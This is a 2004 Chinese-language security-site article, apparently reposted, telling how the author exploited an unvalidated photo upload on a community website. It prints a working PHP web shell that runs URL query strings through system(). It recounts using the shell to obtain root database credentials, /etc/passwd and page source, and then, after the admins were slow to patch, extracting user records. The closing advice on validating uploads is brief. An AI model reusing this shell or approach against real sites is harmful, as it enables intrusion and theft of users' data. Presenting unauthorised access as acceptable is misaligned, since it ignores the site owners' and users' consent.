首页 安全基础 网络安全 安全协议 病毒分析 防火墙 OS安全 无线安全 Web安全 PKI与PMI 入侵检测 经典案例
安全审计 设备安全 安全管理 安全标准 法律法规 隔离网闸 DB安全 XML安全 开源项目 资源下载 安全论坛 备份恢复
 当前位置:首页>>WEB安全>>php安全>>正文
关于php做社区网站的安全性
文章出处:www.yestar2000.com 作者:yestar2000   发布时间:2004-09-08   点击:0
 

    目前,我发现某个社区网站中的一个上传“我的照片”功能有着很大的安全隐患,因为上传程序未对上传的文件做分析,从而我可以上传一个test.php的文件, 然后服务器上的名字就为?????.php(?????为数字),

  我的PHP内容如下:

<?

$dbs=mysql_connect($strDBHost,$strDBUser,$strDBPassword);

……

mysql_close($dbs);

?>



  当然……中我只作了个测试,没有真正使用数据库,但是我以另一个PHP,?????.php,内容如下:

<?

$query=getenv("QUERY_STRING");

$command=urldecode($query);

$stdout=system("$command");

echo "$stdout";

?>



成功的取得

$strDBHost = "?.?.?.?";

$strDBPassword = "????";

$strDBUser = "root";

并连上数据库



  然后用后一个PHP把上传的PHP命名为CMD.PHP和DB.PHP



  成功取得/ETC/PASSWD和该网站的首页面MAIN.PHP源码。



  然后我发信警告网管,但是他们在第一天没及时修补漏洞,于是我对数据库进行分析,并上传了个MB.PHP,成功的得到数据库内的用户信息。



  今天他们采取的修补手段是把那个可以上传的目录移去,不过这将导致用户暂时不能浏览、上传照片。



  所以进行此类设计时,应该考虑到恶意用户通过直接调用url,把恶意数据传个程序,而不能以为网页在服务器端就安全了!

原作者:天极网

来源:http://www.yesky.com/

 

 

作者:
[返回顶部↑]  [推荐好友] [查看评论]  
用户名: 新注册) 密码: 匿名评论 [查看评论]  发表评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 
↑文章搜索
  关键字:  
  范  围:  
  开始搜索  
※相关文章※
 

◎ 用PHP检查特洛伊
◎PHP正反加密解密类
◎ 修改Zend引擎实现
◎php用户认证及管理(完全版
◎ 信用卡安全验证代
◎PHP图片认证访问方法
◎ 如何在PHP里启动

 
※热点文章※
  ·PHP数据加密
·通过对php一些服务器端特性
·通过对php一些服务器端特性
· 如何对PHP程序中
·PHP实现文件安全下载
· 如何在PHP里启动
·PHP图片认证访问方法
 

关于我们 | 征搞启示 | 版权信息 | 联系我们 | 友情链接

版权所有:中国信息安全组织 © 2003-2005 Power by DedeCms